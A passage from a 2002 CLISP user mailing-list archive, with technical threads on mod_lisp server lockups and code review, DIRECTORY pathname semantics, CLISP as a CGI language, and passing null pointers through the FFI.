" s))) > > > (defun fixed-html () > " >

mod_lisp 2.0

This is a constant > html string sent by mod_lisp 2.0 + CLISP + apache + Linux

> ") > > (defun write-header-line (key value) > (write-string key *apache-socket*) > (write-char #\NewLine *apache-socket*) > (write-string value *apache-socket*) > (write-char #\NewLine *apache-socket*)) > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From lists@consulting.net.nz Sat Jul 13 07:29:14 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17TNtY-0001q2-00 for ; Sat, 13 Jul 2002 07:29:12 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17TNtY-0000zu-00; Sun, 14 Jul 2002 02:29:12 +1200 Subject: Re: [clisp-list] clisp, mod_lisp and lockups From: Adam Warner To: John Jorgensen Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1026570718.1669.71.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 13 07:30:01 2002 X-Original-Date: 14 Jul 2002 02:31:57 +1200 On Sun, 2002-07-14 at 02:22, John Jorgensen wrote: > I've been seeing similar problems here. The fast way to make mod_lisp > "lock up" is to access a page under /modlisp that doesn't exist, for > instance; http://localhost/modlisp/foobar . At least this does it for > me. Once I access /modlisp/foobar, I can't access /modlisp/fixed . > > I may adapt bits of modlisp-clisp.lisp to the socket server in clocc and > see if I get the same problems. > > Like you, I'm not convinced that this is a clisp bug but I haven't done > much research into it yet. BTW just another idea: mod_lisp can be used as a drop in replacement for (libapache-)mod-webapp from http://alpha.onshored.com/lisp-software/. Thus it appears mod-webapp provides similar functionality to mod_lisp and could be used to determine whether the mod_lisp apache module is the cause of the problem. The downside is that libapache-mod-webapp integrates with cl-imho and cl-imho only runs on cmucl to date. So there is no clisp specific code to test/use. And the configuration directives are different (and I haven't managed to get them to work--but I'm out of my depth): http://freesw.onshored.com/wwwdist/imho/doc/mod-webapp.html Regards, Adam From empb@bese.it Sat Jul 13 08:15:11 2002 Received: from mail-7.tiscali.it ([195.130.225.153] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17TOc0-0006Ia-00 for ; Sat, 13 Jul 2002 08:15:08 -0700 Received: from localhost (62.10.100.5) by mail.tiscali.it (6.5.026) id 3D2D95CB00119907 for clisp-list@lists.sourceforge.net; Sat, 13 Jul 2002 17:14:29 +0200 To: clisp-list References: From: Marco Baringer In-Reply-To: Message-ID: Lines: 134 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [ clisp-Bugs-580613 ] directory does not show directories Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 13 08:16:02 2002 X-Original-Date: 13 Jul 2002 17:14:58 +0200 [note: this was originally posted to clisp-dev via sourceforge's bug tracker. it's something i took a while to figure out so i figured i'd share what i found out with CLISP's users.] > Hi, > there seems to be no way to get a listing of *all* > files (which should include directories???) in a > directory, like I would expect > (directory "/") or (directory "/*") to return something > like > '("/usr" "/bin" ...) > > [149]> (lisp-implementation-version) > "2.28 (released 2002-03-03) (built 3232861331) (memory > 3235285635)" > [150]> (directory "/") > (#P"/") > [151]> (directory "/*") > (#P"/.journal" #P"/.autofsck" #P"/System.old" > #P"/vmlinuz.old" #P"/System.map" #P"/vmlinuz" > #P"/.bash_history") > [152]> > > regs, > Frank. directory is not a directory listing function, ie it is not ls nor readdir. it could be called find-me-the-pathnames-which-match-this-one. The description of #'directory in the HyperSpec reads: Determines which, if any, files that are present in the file system have names MATCHING PATHSPEC, and returns a fresh list of pathnames corresponding to the truenames of those files. [upcase mine] with the following note: If the pathspec is not wild, the resulting list will contain either zero or one elements. Then there's this taken from src/pathname.d: # UP: Returns a list of all matching pathnames. # directory_search(pathname) # > pathname: pathname with device /= :WILD #ifdef UNIX # > STACK_1: Circle-Flag #endif # > STACK_0: Full-Flag # < result: # if name=NIL and type=NIL: list of all matching directories, # else (name=NIL -> name=:WILD): list of all matching files. # as absolute pathname without wildcards at a time, directory_search is used by #'directory to do the actual work. so basically if we want directories we can't specify a name and a type part in the pathname, but there's a gotcha: how do we ask for directories who's names are wild if by specifying a wild name we get only files? what we need to do is specify a wild not in the name slot, but in the directory slot. here's me playing around with directory and make-pathname: ;; just to show what's in the current directory [1]> (run-program "ls" :arguments '("-F" "/Users/marco/t")) onis-0.3.3/ onis-0.3.3.tar onis-0.3.3.tar.gz posix.tar.gz 0 ;; we ask for all the pathnames with :name :wild and :directory ;; '(:absolute "Users" "marco" "t"). considering we've specified a non ;; wild directory this can only return files [2]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t") :name :wild)) (#P"/Users/marco/t/posix.tar.gz" #P"/Users/marco/t/onis-0.3.3.tar.gz" #P"/Users/marco/t/onis-0.3.3.tar") ;; we ask for all pathnames with a wild directory part and name and ;; type nil. because of how directory_search works this returns only ;; directories. [3]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*"))) (#P"/Users/marco/t/onis-0.3.3/") ;; we now ask for for all the pathnames whose directory part contains ;; 4 elements, the last of which is wild and whose name is wild. what ;; get is all the files in the subdirectories of ;; /Users/marco/t. notice how does return the subdirectories ;; themselves or the files in the current directory. [4]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*") :name "*")) (#P"/Users/marco/t/onis-0.3.3/timestamp" #P"/Users/marco/t/onis-0.3.3/README" #P"/Users/marco/t/onis-0.3.3/onis" #P"/Users/marco/t/onis-0.3.3/html.pm" #P"/Users/marco/t/onis-0.3.3/COPYING" #P"/Users/marco/t/onis-0.3.3/Config.pm" #P"/Users/marco/t/onis-0.3.3/config" #P"/Users/marco/t/onis-0.3.3/CHANGELOG") ;; as a final example we ask for all the pathnames whoses directory ;; part contains 5 elements, the final two of which are wild. [5]> (directory (make-pathname :directory '(:absolute "Users" "marco" "t" "*" "*"))) (#P"/Users/marco/t/onis-0.3.3/plugins/" #P"/Users/marco/t/onis-0.3.3/parser/" #P"/Users/marco/t/onis-0.3.3/images/") the conclusion is that there is no way to get both files and directories from a single call to #'directory. if we want all the "files" (in the modern unix sense of the word) in "/foo" (ie 'ls /foo') we do: (append (directory (make-pathname :directory '(:absolute "foo") :name :wild)) (directory (make-pathname :directory '(:absolute "foo" "*")))) we can also see why this removes "." and ".." from the results returned by directory. in the case of :directory '(:absolute "foo" "*") the . directory is '(:absolute "foo") which having only 2 elements does not match the three element list '(:absolute "foo" "*"). the .. directory has one less element than . (and so two elements less than what we pass to #'directory) and so for the same reason fails to match. finally, what kind of namestring should we use if we want a wild directory? to enfore name nil and type nil we need a trailing '/'. [37]> (equal (parse-namestring "/*/") (make-pathname :directory '(:absolute "*"))) T so the example above can be rewritten as: (append (directory #P"/foo/*") (directory #P"/foo/*/")) which is probably what you want. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From sds@gnu.org Sat Jul 13 16:06:52 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17TVyV-00045n-00 for ; Sat, 13 Jul 2002 16:06:51 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g6DN74i18880; Sat, 13 Jul 2002 19:07:04 -0400 To: Marco Baringer Cc: clisp-list Subject: Re: [clisp-list] Re: [ clisp-Bugs-580613 ] directory does not show directories References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jul 13 16:07:03 2002 X-Original-Date: 13 Jul 2002 19:07:04 -0400 > * In message > * On the subject of "[clisp-list] Re: [ clisp-Bugs-580613 ] directory does not show directories" > * Sent on 13 Jul 2002 17:14:58 +0200 > * Honorable Marco Baringer writes: > > [note: this was originally posted to clisp-dev via sourceforge's bug > tracker. it's something i took a while to figure out so i figured i'd > share what i found out with CLISP's users.] thanks for your message. I hope I clarified the matters sufficiently in the implementation notes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Sun Jul 14 11:19:14 2002 Received: from pool-151-203-30-217.bos.east.verizon.net ([151.203.30.217] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Tnxh-0002P8-00 for ; Sun, 14 Jul 2002 11:19:13 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g6EIJSi03365; Sun, 14 Jul 2002 14:19:28 -0400 To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, mod_lisp and lockups References: <1026549146.2319.44.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1026549146.2319.44.camel@work> Message-ID: Lines: 228 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jul 14 11:20:02 2002 X-Original-Date: 14 Jul 2002 14:19:28 -0400 > * In message <1026549146.2319.44.camel@work> > * On the subject of "[clisp-list] clisp, mod_lisp and lockups" > * Sent on 13 Jul 2002 20:32:26 +1200 > * Honorable Adam Warner writes: > > ;;; -*- Mode:Lisp; Syntax:Common-lisp; Package:MODLISP; Base:10 -*- > > ;; modlisp-clisp.lisp > ;; adapted from modlisp-acl.lisp > > ;; Original CLISP adaption by Rachel Richard > ;; Changes by Nils Kassube on 2001-11-24: > ;; > ;; - replaced :lisp by :ext for CLISP's new naming convention, > ;; works now with recent CLISP distributions > ;; - added modlisp-server to the :export line > > (in-package :user) > > (provide :modlisp) > > (eval-when (compile load eval) > (defpackage :modlisp > (:nicknames :lph) > (:use :cl) > (:export modlisp-server) > )) as per ANSI CL, DEFPACKAGE need NOT be enclosed in EVAL-WHEN. > (in-package :modlisp) > > ;;;;; > ;;; > ;;; First part adapted from server.cl > ;;; > ;;;;; > > (defvar *server-count* 0) ; used to name servers > > (defun make-socket-server (&key (name (format nil "socket server ~d " > (incf *server-count*))) > port > function > wait > (format :text)) > ;; > ;; create a server process with the given name, listening on the > ;; given port, running the given function on each connection that > ;; comes in, and possibly waiting for that function's completion before > ;; accepting a new connection. > ;; > ;; name - a string naming the server process -- if nil, then this > ;; function will create a name. > ;; port - if nil then an internet domain port number will be chosen > ;; by the operating system. If a number is given then that > ;; port will be used (or an error will be signalled if it > ;; is already in use). If port is a string then a unix > ;; domain port will be used. (this will not work on Windows). > ;; function - the function to run when a connection is made. This > ;; function must take one argument which is the stream used > ;; used for reading from and writing to the process that connected > ;; to this socket. > ;; wait - if true, then the function will be run in the server process > ;; and thus the server won't accept a new connection until > ;; the function finishes. > ;; format - :text (the default) or :binary. This determes what kind > ;; of data can sent to and read from the socket stream. > ;; > ;; > ;; > ;; The return value is the port number on which the server is > ;; listening. > ;; > (let ((passive-socket (ext:socket-server port) ; > > )) > > (start-socket-server passive-socket > :function function > :wait wait) > (ext:socket-server-port passive-socket))) > > (defun start-socket-server (passive-socket &key function wait) > ;; internal function run in the server lightweight process > ;; that continually processes the connection. > ;; This code is careful to ensure that the sockets are > ;; properly closed something abnormal happens. > (unwind-protect > (loop (let ((connection (ext:socket-accept passive-socket))) > (if wait note that both clauses are almost identical. the difference is what is being closed. are you sure this is correct? > (progn > (unwind-protect > (funcall function connection) > (handler-case (values-list (cons t > (multiple-value-list > (close connection)))) > (error (condition) (declare (ignore-if-unused condition)) > nil)))) there is no declaration "ignore-if-unused", only IGNORE and IGNORABLE. these HANDLER-CASE forms are equivalent to IGNORE-ERRORS. in general, at least reporting error would have been _very_ enlightening! > > (unwind-protect > (funcall function connection) > (handler-case (values-list (cons t > (multiple-value-list > (close connection)))) > (error (condition) (declare (ignore-if-unused condition)) > nil))) > > ))) > > (handler-case (values-list (cons t > (multiple-value-list > (close passive-socket)))) > (error (condition) (declare (ignore-if-unused condition)) > nil)))) > passive-socket is not a socket in CLISP, but a socket-server, so CLOSE will barf on them. use CLOSE-SOCKET-SERVER instead. > ;;;;; > ;;; > ;;; Second part adapted from mod-lisp.lisp > ;;; > ;;;;; > > (defconstant +apache-port+ 3000) > (defvar *apache-socket* nil) ;the socket to apache > (defvar *close-apache-socket* nil) ;set to t if you want to close the socket to apache > (defvar *apache-nb-use-socket* 0) ;the number of requests sent in this socket > > (defun modlisp-server (&optional (port +apache-port+)) > > (make-socket-server :name "test" > :port port > :function 'apache-listen)) > > (defun apache-listen (*apache-socket*) > (let ((*close-apache-socket* t)) > (unwind-protect > (loop for *apache-nb-use-socket* from 0 > for command = (get-apache-command) > while command > do (process-apache-command command) > (force-output *apache-socket*) > until *close-apache-socket*) > (close *apache-socket*)))) > > (defun get-apache-command () > (ignore-errors > (let* ((header (loop for key = (read-line *apache-socket* nil nil) > while (and key (string-not-equal key "end")) > collect (cons key (read-line *apache-socket* nil nil)) ))) > (let* ((content-length (cdr (assoc "content-length" header :test #'equal))) > (content (when content-length (make-string (parse-integer content-length :junk-allowed t))))) > > (when content > (read-sequence content *apache-socket*) > (push (cons "posted-content" content) header)) > header)))) > > (defun process-apache-command (command) > (let ((html (if (equal (cdr (assoc "url" command :test #'string=)) > "/modlisp/fixed") > (debug-table command) > (fixed-html)))) > (write-header-line "Status" "200 OK") > (write-header-line "Content-Type" "text/html") > (write-header-line "Content-Length" (format nil "~d" (length html))) > (write-header-line "Keep-Socket" "1") > (write-string "end" *apache-socket*) > (write-char #\NewLine *apache-socket*) > (write-string html *apache-socket*) > (setf *close-apache-socket* nil))) > > (defun debug-table (command) > (with-output-to-string (s) > (write-string " > > > " s) > (format s "" *apache-nb-use-socket*) > (loop for (key . value) in command do > (format s "" key value)) > (write-string "
CLISP + mod_lisp 2.0 + apache + Linux
KeyValue
apache-nb-use-socket~a
~a~a
" s))) > > > (defun fixed-html () > " >

mod_lisp 2.0

This is a constant > html string sent by mod_lisp 2.0 + CLISP + apache + Linux

> ") > > (defun write-header-line (key value) > (write-string key *apache-socket*) > (write-char #\NewLine *apache-socket*) this is weird: I would have expected (write-string ": " *apache-socket*) instead > (write-string value *apache-socket*) > (write-char #\NewLine *apache-socket*)) if you create a test case reproducible without apache, I can try to debug it. thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The difference between genius and stupidity is that genius has its limits. From lists@consulting.net.nz Mon Jul 15 19:26:10 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UI2S-0004rX-00 for ; Mon, 15 Jul 2002 19:26:08 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17UI2K-0001vC-00 for ; Tue, 16 Jul 2002 14:25:47 +1200 Subject: Re: [clisp-list] clisp, mod_lisp and lockups From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1026549146.2319.44.camel@work> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1026786537.2031.30.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 15 19:27:01 2002 X-Original-Date: 16 Jul 2002 14:28:57 +1200 On Mon, 2002-07-15 at 06:19, Sam Steingold wrote: > if you create a test case reproducible without apache, I can try to > debug it. Thanks for the offer of help Sam. I spent a while looking at how I would go about attempting to create my own version of mod_lisp for Apache 2 and learned a lot about apache module development in the process. But in the process I also realised that clisp is great for plain CGI development! Initial testing of using clisp as a CGI scripting language is impressive. I can load a simple initialisation program, access the environment variables within a shell and return the result to wget via Apache 2.0.39 in 0.18s on a Pentium 166 with 64MB of RAM. The initialisation file, init.lisp just contains: (format t "Content-type: text/html~2%") (princ "Hello from init.lisp") And is compiled with "clisp -c init.lisp" and is placed in the document root directory. The CGI file contains: #!/usr/bin/clisp (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) (princ "
")
  (princ (shell "set"))
(princ "
") And returns the list of environment variables to the client. (NB to access environment variables individually refer http://clisp.sourceforge.net/clash.html) I consider I will be able to go a long way in providing rich content before I need to load the initialisation file persistently in a continually running clisp environment. It annoys me that each script has to contain: #!/usr/bin/clisp (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) To allow each CGI access to the required macros, etc. It would be nice if I could hack mod_cgi so that this initialisation text was included by the module (if for example the filename suffix was "lisp"). Regards, Adam From samuel.steingold@verizon.net Tue Jul 16 07:03:12 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17USv1-000637-00 for ; Tue, 16 Jul 2002 07:03:11 -0700 Received: (cpmta 18906 invoked from network); 16 Jul 2002 07:03:05 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 16 Jul 2002 07:03:05 -0700 X-Sent: 16 Jul 2002 14:03:05 GMT To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, mod_lisp and lockups References: <1026549146.2319.44.camel@work> <1026786537.2031.30.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1026786537.2031.30.camel@work> Message-ID: Lines: 64 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 16 07:04:04 2002 X-Original-Date: 16 Jul 2002 10:03:03 -0400 > * In message <1026786537.2031.30.camel@work> > * On the subject of "Re: [clisp-list] clisp, mod_lisp and lockups" > * Sent on 16 Jul 2002 14:28:57 +1200 > * Honorable Adam Warner writes: > > On Mon, 2002-07-15 at 06:19, Sam Steingold wrote: > > > if you create a test case reproducible without apache, I can try to > > debug it. > > Thanks for the offer of help Sam. I spent a while looking at how I > would go about attempting to create my own version of mod_lisp for > Apache 2 and learned a lot about apache module development in the > process. But in the process I also realised that clisp is great for > plain CGI development! indeed, CLISP is the perfect tool for any job (except heavy FP computations, and even there FFI can get you a long way :-) > #!/usr/bin/clisp > (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) do you know about memory images? > (princ "
")
>   (princ (shell "set"))
> (princ "
") > > And returns the list of environment variables to the client. > (NB to access environment variables individually refer > http://clisp.sourceforge.net/clash.html) hmmm.... I don't like that you refer to clash.html for information on CLISP internals and I don't like that you have to resort to SHELL to list your environment. I just fixed that. Now (getenv nil) returns all the environment as an alist and it is documented in the impnotes. thanks for bringing this to my attention. > It annoys me that each script has to contain: > > #!/usr/bin/clisp > (load (concatenate 'string (getenv "DOCUMENT_ROOT") "init.fas")) > > To allow each CGI access to the required macros, etc. It would be nice > if I could hack mod_cgi so that this initialisation text was included by > the module (if for example the filename suffix was "lisp"). dump your own image and use #!/usr/bin/clisp -M my-cgi-image.mem see -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux All extremists should be taken out and shot. From samuel.steingold@verizon.net Tue Jul 16 08:43:41 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UUUH-0006bR-00 for ; Tue, 16 Jul 2002 08:43:41 -0700 Received: (cpmta 24271 invoked from network); 16 Jul 2002 08:43:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 16 Jul 2002 08:43:34 -0700 X-Sent: 16 Jul 2002 15:43:34 GMT To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] attention provide/requre users! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 16 08:44:03 2002 X-Original-Date: 16 Jul 2002 11:43:33 -0400 I urge you to try out the current development version from the CVS. provide/require has been brought more in line with the ANSI CL standard, and I would like you to make sure that nothing has been broken in the process. (remember the stupid typo on 2.28 that broke provide/require?) thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux If You Want Breakfast In Bed, Sleep In the Kitchen. From a.bignoli@computer.org Tue Jul 16 13:51:07 2002 Received: from [212.110.54.10] (helo=shark.fauser.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UZHn-0002U7-00 for ; Tue, 16 Jul 2002 13:51:07 -0700 Received: from dalet.fauser.it (pool2-ip15.fauser.it [212.110.54.110]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA22820 for ; Tue, 16 Jul 2002 22:51:05 +0200 (MET DST) Received: (from aurelio@localhost) by dalet.fauser.it (8.11.6/8.11.4) id g6GKgAX07266; Tue, 16 Jul 2002 22:42:10 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15668.34082.592660.786140@dalet.fauser.it> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.03 under Emacs 20.7.2 Subject: [clisp-list] FFI:C-POINTER and C null pointers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 16 13:52:03 2002 X-Original-Date: Tue, 16 Jul 2002 22:42:10 +0200 Let's suppose I have to interface the following C code: --*-- hairy.h typedef struct { /* A lot of fields, many of them function pointers, used only by C functions. */ } REALLY_HAIRY_STRUCT; REALLY_HAIRY_STRUCT * make_really_hairy_struct (int how_many_hair); int do_something (REALLY_HAIRY_STRUCT *h); --*-- --*-- hairy.c REALLY_HAIRY_STRUCT * make_really_hairy_struct (int how_many_hair) { REALLY_HAIRY_STRUCT *result = malloc (sizeof (REALLY_HAIRY_STRUCT)); /* Structure initializaton. */ return result; } int do_something (REALLY_HAIRY_STRUCT *s) { printf ("do_something: %p\n", s); if (s != 0) { printf ("Freeing %p...\n", s); free (s); } return 0; } --*-- To solve the problem I wrote the following lisp file: --*-- hairy.lisp (use-package :ffi) (def-c-type REALLY-HAIRY-STRUCT c-pointer) (def-c-call-out make-really-hairy-struct (:arguments (how-many-hair int :in)) (:name "make_really_hairy_struct") (:return-type REALLY-HAIRY-STRUCT)) (def-c-call-out do-something (:name "do_something") (:arguments (h REALLY-HAIRY-STRUCT :in)) (:return-type int)) --*-- I compiled it, linked, made a module etc. It works fine: [6]> (make-really-hairy-struct 1200) # [7]> (do-something *) do_something: 0x828f238 Freeing 0x828f238... 0 The problem is: how can I call do_something from CLISP passing it a null pointer as argument? NIL or 0 are not automatically converted into FFI:C-POINTER and AFAIK there isn't any way to create a foreign object at runtime. I devised the following workaround: I defined an external C variable in hairy.c: void * c_null = 0; and a c-var in hairy.lisp: (def-c-var NULL (:name "c_null") (:type c-pointer)) so I can call do-something with NULL as argument: [8]> (do-something NULL) do_something: (nil) 0 Is there any better solution? Or is such a null foreign pointer already defined somewhere? Ciao, Aurelio From samuel.steingold@verizon.net Tue Jul 16 14:29:26 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UZsr-0000Vb-00 for ; Tue, 16 Jul 2002 14:29:25 -0700 Received: (cpmta 4897 invoked from network); 16 Jul 2002 14:29:19 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 16 Jul 2002 14:29:19 -0700 X-Sent: 16 Jul 2002 21:29:19 GMT To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI:C-POINTER and C null pointers References: <15668.34082.592660.786140@dalet.fauser.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15668.34082.592660.786140@dalet.fauser.it> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 16 14:30:03 2002 X-Original-Date: 16 Jul 2002 17:29:17 -0400 > * In message <15668.34082.592660.786140@dalet.fauser.it> > * On the subject of "[clisp-list] FFI:C-POINTER and C null pointers" > * Sent on Tue, 16 Jul 2002 22:42:10 +0200 > * Honorable Aurelio Bignoli writes: > > (def-c-call-out do-something > (:name "do_something") > (:arguments (h REALLY-HAIRY-STRUCT :in)) > (:return-type int)) does (h (c-ptr-null REALLY-HAIRY-STRUCT) :in) help? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From lists@consulting.net.nz Tue Jul 16 18:56:48 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Ue3a-0007I3-00 for ; Tue, 16 Jul 2002 18:56:46 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17Ue3O-0002Lz-00; Wed, 17 Jul 2002 13:56:17 +1200 Subject: Re: [clisp-list] clisp, mod_lisp and lockups From: Adam Warner To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1026549146.2319.44.camel@work> <1026786537.2031.30.camel@work> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1026871170.1563.56.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 16 18:57:01 